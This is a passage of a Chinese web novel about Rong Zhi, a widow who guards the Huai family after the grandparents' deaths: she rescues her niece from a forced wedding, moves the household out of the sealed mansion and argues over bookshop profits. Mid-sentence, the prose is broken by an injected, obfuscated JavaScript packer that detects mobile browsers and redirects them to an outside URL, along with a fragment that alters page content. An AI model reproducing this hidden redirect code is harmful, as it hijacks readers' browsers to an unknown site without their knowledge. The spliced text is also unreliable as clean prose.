其他人附和，“是呢！真奇怪。” 容芝回头看向人群，正要看看是谁为游家说话，便撞上一双熟悉的眼睛。 游怜山来了。 他的随从高呼，“吏部尚书来贺杜家。” 顿时，人群自动散开，为游怜山让出一条路。 容芝转过头，只把儿子游余揽在怀中，装作不认识游怜山。 “你回京了，”游怜山在她身后说话，“余哥儿的病好像也好了。” 容芝仍背着身，一垫脚，往杜家家门里看了看。 杜家管家出来了，领着杜家大公子杜明。 “杜郎中！”游怜山先发制人，打了杜明一个措手不及。 而杜明是看见了容芝和游余，却被游怜山这一声镇住，身子一愣，忙跑下石阶，到游怜山面前行礼，“下官见过游尚书。” 游怜山笑了两声，抬手点了点杜明，“你说你，杜家有喜事，也不让我进去喝口茶？怕我要抢走新娘子？” 杜明说，“不敢不敢……您请您请……”他给游怜山做了个请。 游怜山没走，看了眼身边的容芝和游余，“容娘子要一起喝杯茶吗？” 容芝没说话，倒是游余没好气地看着游怜山，“少在此假惺惺，惹得我娘不高兴！我祖父祖母刚刚过世，你就来参加喜宴？成什么样子！” 游怜山被这话听笑了，但面上绝不显山露水。 甚至他还顺着游余的话，对杜明回绝道，“听见没？这病秧子点我了！他说，我爹娘刚走，我喝了你杜家的喜茶，就成了不孝子。” 杜明抿唇笑笑。 杜家管家却冷道，“游尚书不早就和游家断绝关系，还在意是不是孝子？” 杜明听了用力踢一脚管家，“闭嘴！” 游怜山好似不介意，对管家笑道，“还是你说的对，我脱离游家，背叛父母，早就是游家的不——孝——子了。” 管家立刻跪在了游怜山脚边，额头紧紧贴着地。 游怜山却没管这人，只把目光落向了还直挺挺站着的杜明，喊了声，“杜郎中，你说呢？” 双腿一软，杜明也跪了下来。 他慌张地回话道，“游尚书提醒得对！家父丧期未过，杜家不该办喜事，更不该娶媳妇。下官这就进去，散了宴席，散了众人，决不敢顶风作案。” 游怜山没再回话，也没进杜家，就站在门前没动。 他的随从招呼围观的百姓，杜家今天没有喜宴，大家忙自己的去，别挤在杜家门前。 没过一会，杜家墙内的动静当真停了。 只是容芝还是能听见侄女游宜的哭喊声，便给了儿子游余一个眼神，“去带你妹妹出来。” 游余前脚跑了进去，游怜山的随从后脚也跟上了。 容芝看看游怜山，此刻周围没了人群，她对他说，“幸好你来得及时。” 游怜山摇头，“你别怪我来得太迟，就行，如今我是李经章的人，不好轻易出手。” 容芝明白他的难处，做卧底的事儿，可不轻松。 而今日游怜山到杜家闹这一出，也不算直接帮游家，可谓手段高明。 他的能力，容芝是放心的，“我替二弟谢谢你这大哥了。” 游怜山的眼底闪着泪，喉结滚了滚，“现在游家情况特殊，虽然皇帝没有明面追究游家，但爹娘连个灵位都没有，你肯定很着急吧？” 容芝看得透彻，“急是没用的，你才是游家的儿子，肯定比我更急，还有太子殿下那边，他不会不管游乘和游余。” 想起长子游乘。 容芝好像回来之后也没见到他，便问游怜山，“乘儿也出事了？” 游怜山点点头，“他的问题，更严重一点，他和姜归敲了登闻鼓……” “这，为了什么呢？”容芝不解道。 游怜山啧了声，“当然是为了游家！” 容芝叹气，“没想到乘儿也会如此不冷静，他应该明白，冲动解决不了游家的问题。那他现在，被关在刑部大牢？” 游怜山纠正她，“没有。刑部袁尚书觉得，刑部大牢不安全，把乘儿又送去了诏狱。” 这也算是二进宫。 不过诏狱是锦衣卫的地盘，锦衣卫又是太子的地盘，说起来，游乘和姜归呆在诏狱，确实可以避免被李家的人算计。 容芝对游乘的下落放了心，这时，儿子游余牵着穿喜服的游宜跑出来。 游宜到了容芝面前，一把扯掉头上的金饰，深深扑进容芝的怀中，“大伯母！！” 容芝捧住她的脸，亲亲孩子的额头，“没事了，杜家不敢欺负你了。” 另一边，游余看见游怜山，“你干嘛还不走，是现在的吏部衙门太闲了吗？” 游怜山抱起双臂，苦笑一声，“嘚！我自作多情，自讨没趣……走了，回吏部衙门喝茶。” 跟着来的随从，警告杜明，“杜郎中不是初犯了，里面的厉害，你要有数！若再不改，别怪游尚书不顾杜老的情面，一状告上去，拿了你的乌纱帽！” 杜明躬身道歉，“谢谢游尚书的教导，以后不敢了。” 随从懒得多看他，转过头，给旁边的游余、容芝行了礼，便跑着追上已走远的游怜山。 容芝考虑到游宜的打扮，几人不好直接走路回游家，正要让游余去前头街口租马车。 游余眼睛一转，指着杜明道，“你！给我娘和我妹妹，找马车来！” 游宜却不满意，“我不坐杜家的马车，宁愿走路回家。” 杜明陪笑一记，示意一旁的管家拿出银票，双手递到游宜面前，“一点补偿，请游娘子收下，游家往后过日子，不可少了银子。” 容芝听不得这恶心人的话，拉着游宜就走。 游余对杜明怒说，“你小子，给我等着！敢欺负我妹妹和我娘，这笔账，没完！” 街口的马车多的是，刚才不过想图个方便，少走几步路。 游余这会子先把游宜扶上车，又来扶容芝，跑前跑后，满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308064|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头是汗。 鞭子一扬，马车便跑起来。 车里，游宜靠着大伯母容芝，哭累了就睡过去。 容芝帮她拆掉了头上的发髻，和金饰，全部扔去一边，又拿帕子擦掉她哭花的喜妆。 原本，容芝是给游宜想好了成亲对象的，便是那江陵来的姜归。 可惜之前姜归对成亲之事不关心，一心只想考科举、奔前程。 也不知，到了现在，姜归夺得殿试探花，他的心意有没有改变呢。 回到游家，门房王伯上来迎他们三人，见了游宜，老人又哭了一阵。 游余扶着王伯回门房，却没想到他的虞次叔和阿桔姑姑，居然抱着阿柳，等在里面。 前话不必多说。 虞次抓着游余的肩，看了又看，阿桔边哭边说，“哥儿终于是活过来了！” 他们出来见容芝和游宜。 阿桔抱着阿柳，阿柳对游宜喊“姐姐”，逗得游宜笑了一下。 容芝与阿桔交换眼神，彼此懂得彼此，“还是一家人在一起好。” 然而，公爹婆母已经永远地离开了。 容芝记着游怜山的话，先忍着这口气，去正院的院子里，在火盆里烧了厚厚的纸钱、纸房子、纸马。来自现代世界的她，虽然知道人死没有灵魂，却把这些祭祀的事认认真真地都做了，唯一的遗憾是，考虑着朝中局势，她不可为二老立个灵位。 入了夜，蚊虫出没。 容芝记挂诏狱里的长子游乘，让虞次带着银票去找锦衣卫，送了些驱虫的艾草。 想着，等游乘见了那些东西，便对游家放心些了。 这一晚，太短。 容芝在床上无法成眠，但再一睁眼，天光已是大亮。 她想去厨房做些小云吞，给三弟妹李氏、侄女游雅、游绵送去。 可一走出里屋，便从虞次的口中听说了一件大事。 经过李经章的挑拨，游家结党的案子，扩大了。 锦衣卫得到消息，今天就有人来查封侯府。 换句话说，游家上下全部在今天离开侯府，任何人不能带走府上的任何东西。 “锦衣卫的钱大人，已经来了？”容芝把头发盘好。 虞次点了头，“正在门房喝茶，余哥儿陪着钱大人。” 容芝没多想，看看厨房，只说，“不能让钱大人为难，咱们这就走吧。” 正吩咐着，院门被人推开，四房的夫妻俩进来，对容芝喊道，“大嫂，咱们现在要搬去哪儿？” 容芝看着这俩人，好像他们已经忘了昨天发生的事，对自己的女儿游雅毫不关心。 都说，患难见真情，一点都不假。 “眼下，倒是有一间三进的小院，”容芝把东园的门锁了。 四弟妹白氏上来，“三进的啊？那不小了，咱们现在人口少，大哥二哥三哥都不在了嘛！” 容芝没接话，默默收好了钥匙，牵上游宜，还要去西园接三弟妹李氏、游雅和游绵。 也正如白氏的提醒，游家现在男丁太少，只留下了一群女眷，更需要她好生照顾，更经不得一丝疏忽。 正走着路，容芝听见四弟游怜柑问她，“大嫂，不足斋的分利，今年能不能早点算？” 这才过到年中，就盯上了书局的分利，是打算好了要分家吧。 容芝有点心烦，开口的态度不算和善，“恐怕不行。” 游怜柑一愣，换成了他媳妇白氏继续说，“怎么不行？自家的账，还不是想算就算？或者，大嫂想捂着账本，想分家过？” 游怜柑赶紧拉开白氏，“怎么说话的……” 白氏皱起眉，音调一下拔高，“我说的不对吗？游家成了现在这样，公爹婆母都不在了，大嫂想分家过，我是没意见的。只要大嫂把该分的钱，一文不少的给了我，再把三进院子分一半给我们！” 分一半院子。 容芝停下来，看着白氏，“院子可以给你们住，但是不可能分给你们。” 白氏扯着容芝的胳膊，“凭什么不能分？怜柑是游家的四郎，嫡出的！当然可以分大嫂手里的院子！” 游怜柑面上羞红，忙把白氏牢牢摁住，“你闭嘴！” 白氏有点懵，鼻子一皱，大哭道，“连你也欺负我！对，你不是游家亲生的，是收养的……但老侯爷生前就立了你是嫡子，凭什么大嫂不认你这弟弟，不肯分钱、分院子？” 一旁的侄女游宜听不下去，看向白氏，道，“四伯母，如果你知道搬去的三进院，是我娘死的那一间，你还想分吗？” “什、什么！”白氏目瞪口呆，对容芝道，“大嫂，宜丫头说的是真的？” 容芝嗯了声，这时候，有地方去就不错，是没有挑挑拣拣的资格的。 但是白氏一想到当年二嫂周氏的惨死，她害怕地直摆手，“别住那间，换一间吧！” 容芝继续赶路，“没有换的了，四弟妹不想住，就自己想办法。” 这话惹得白氏又哭起来，又打又骂游怜柑。 游宜领着他俩和其他女眷，先上了马车。 容芝则在门房见到了来查封侯府的锦衣卫佥事钱源，“让大人见笑。” 钱源从不远处的马车边收回目光，对容芝拱手，“夫人拉扯一大家，辛苦了。” 容芝摇头，“照顾自己人，应该的，就是怕我照顾不好大家。” 又把各个院子的钥匙都交给了钱源，她最后叮嘱，“请大人仔细地查，小心地查，尽量不要弄坏了物件。” 钱源笑道，“听夫人的意思，以后还要把侯府拿回去？” 容芝也笑了，“游家的错，根本不是结党营私，这案子迟早会查清，所以，我没在怕。” 游家从侯府搬离，住进那间容芝给长子游乘准备的婚房里。 生活起居，有容芝的打理，自是井井有条，不亏待任何一个。 但就算她悉心付出，四弟妹白氏认准她想捂着书局的账本，便三天两头找她的事儿。 明里暗里的，白氏还想着分家，想拿书局的分利。 容芝每次被白氏追问，她就一句话回答，“不行。” 连带着四房的侄女游雅，都有些烦母亲白氏，屡次劝白氏顾大局，别给大伯母找事。 此外，侯府二老过世，容芝带着大家守丧制，特别嘱咐四弟游怜柑，不可饮酒，不可参加外面的聚会和宴席，直到二十七月后。 因此白氏对容芝更为不满，她认为游怜柑如今没有地方赚钱，必须拉拢以前的朋友，请客吃饭是难免的，但容芝不准，就是堵死了游怜柑的后路。 这日，一家子坐在一起吃饭。 白氏忍不住发牢骚，“大嫂不准我们外出吃饭，自己却天天往书局跑，又像什么话呢？” 容芝正在打算此事，直接对儿子游余吩咐，“明日你去秦家，找秦徐，说我想请她代手打理‘不足斋’，包括全部的五间分店。” 白氏惊讶地看着容芝，“大嫂你搞搞清楚？到了现在，秦家还愿意认乘哥儿这门亲事吗？” 游余收起母亲给的书局钥匙，斜了白氏一眼，“四伯母不如多吃些饭，少操心些不该你管的。” 到了晚上，游余回家来告诉容芝，说秦徐答应代管书局，还想明日来家里看望一二。 容芝一口回绝，“她能答应我的请求，我已很感激她了。但现在这情形，她还是别来了。” 秦徐对书局的生意，还是少了点经验。 到新年前的十一月，书局盘账的时候，老周掌柜送来了账本，说比去年少了三成。 白氏顿时又有话说，“秦徐那姑娘，见过世面，该是不可能自己昧了？” 不等容芝回应，老周掌柜说，“四夫人想多了，人家秦姑娘起早贪黑，在五间书局里奔忙，昨儿算账的时候，她看比去年少，还自己往里面填了三百两！” 容芝忙说，“这钱，不能要，秦家也不容易，您一定还给她。” 白氏嗤笑，“大嫂真奇怪？你怎么跟钱过不去？” 容芝懒得理她，把分出来的一千两银票推给她，“今年的分利，四弟妹拿好。” 白氏得了钱，面色好了不少，“谢谢大嫂……谢谢秦姑娘。只是，眼看着过年了，我还想给四郎和雅儿做几套新衣，不知大嫂……” 容芝冷冰冰地回应，“你提醒我了，一会咱们一起去裁缝铺挑布，但这钱，肯定是自己顾自己。” 十二月的时候，容芝给家里的四个孩子都做了新衣，还亲手给阿桔的女儿阿柳，缝了一顶虎头棉帽，小丫头见了，爱不释手。 容芝也没忘了关在诏狱里的两个，让虞次想办法送去新衣，不可让孩子们感到寒心。 夜里虞次办好了事回家来，对容芝说了另一件事，“大爷想来看看您和余哥儿。” 容芝捏着针线，一算，又好几个月没见游怜山了。 游家的日子照样过着，她自己，也没什么不适应。 但是游怜山始终是游余的爹，他拿游余说事，非常聪明，是让她不好拒绝的。 容芝把游余叫到跟前，“你觉得呢？要不要见他？” 游余不答反问，“娘让我见吗？您说好，我就去见他。” “那你去吧！”容芝毫不犹豫。 不想这父子俩的感情因为她而变得生疏。 容芝让虞次带话给游怜山，别来家里见面，去书局的二楼。 至于他们父子见面，说了什么？ 有没有吵架？ 容芝一概没问，她也不敢多问。 但是游余带回来游怜山给的银票，一张五百两的。 游余解释，“咳咳！游怜山说了，这是他的俸禄，清白的很，让您帮他管着。” 饭桌上，四房的白氏听得出了神，“这和离的夫妻，还能互相管钱？” 游余看着白氏，“四伯母不懂了吧！他们夫妻俩，可不是一般的夫妻，那感情——” 情急之下，容芝拿起一只鸡腿，塞住了游余的破嘴。 四房的白氏愣愣看着他们母子俩，把这件怪事悄悄记下了。 二十七个月守丧结束，京城迎来新一轮的赶考热潮。 会试在即，各地的科举高手齐聚一堂，只待一决高下。 冬日清早，游余和虞次出门，去礼部衙门投状，要报考会试。 礼部主事看了游余递交的文书，起身，对游余拱手。 “原来是游家二公子。”礼部主事满口客气。 游余回礼，“敢问大人，是不是我的报考公文有问题？”